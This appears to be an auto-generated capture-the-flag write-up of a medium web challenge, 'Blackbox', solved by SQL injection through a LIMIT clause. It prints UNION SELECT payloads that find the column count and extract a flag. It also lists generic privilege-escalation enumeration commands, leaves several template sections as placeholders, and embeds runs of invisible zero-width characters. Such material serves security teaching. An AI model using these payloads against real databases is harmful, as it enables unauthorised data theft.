Blackbox

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: limit_clause_injection, union_based_sqli

Summary

Task: SQL injection in blackbox scenario with hidden injection point. Solution: LIMIT clause injection with UNION SELECT to extract the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: spbctf | ID: 20260309_webkids20_websql_blackbox
• Tags: SQLi, union_based, limit_clause, blackbox
• Indicators: pagination parameter, LIMIT clause, numeric parameter for row count
• Source: 20260309_webkids20_websql_blackbox.md

Foothold

Vulnerability / Misconfiguration

1. Limit_clause_injection
2. Union_based_sqli

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• limit_clause_injection
• union_based_sqli
• Tags: SQLi, union_based, limit_clause, blackbox

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SQL injection task in the "advanced" category. A blackbox challenge where the injection point is hidden in the LIMIT clause parameter. The application uses a numeric parameter to control pagination/row limits.

URL: http://kslweb1.spb.ctf.su/SQLi/blackbox/

Analysis

The challenge name "Blackbox" hints that the injection point is not immediately obvious. After analysis, the vulnerable parameter controls the LIMIT clause in the SQL query.

Key observations:

• Application has pagination or row limit functionality
• A numeric parameter controls how many rows are returned
• The LIMIT clause is vulnerable to injection
• UNION SELECT can be appended after the LIMIT value ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Identify the LIMIT clause injection

The query structure is likely:

SELECT * FROM table LIMIT <user_input>

Step 2: Inject UNION SELECT after LIMIT

In MySQL, you can append UNION SELECT after LIMIT:

10 UNION SELECT 1,2,3,flag FROM flags--

Or with proper column enumeration:

10 UNION SELECT NULL,NULL,NULL,flag FROM flags--

Step 3: Enumerate and extract

First find the number of columns, then extract the flag:

10 UNION SELECT 1--
10 UNION SELECT 1,2--
10 UNION SELECT 1,2,3--
...
10 UNION SELECT 1,2,3,flag FROM flags--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR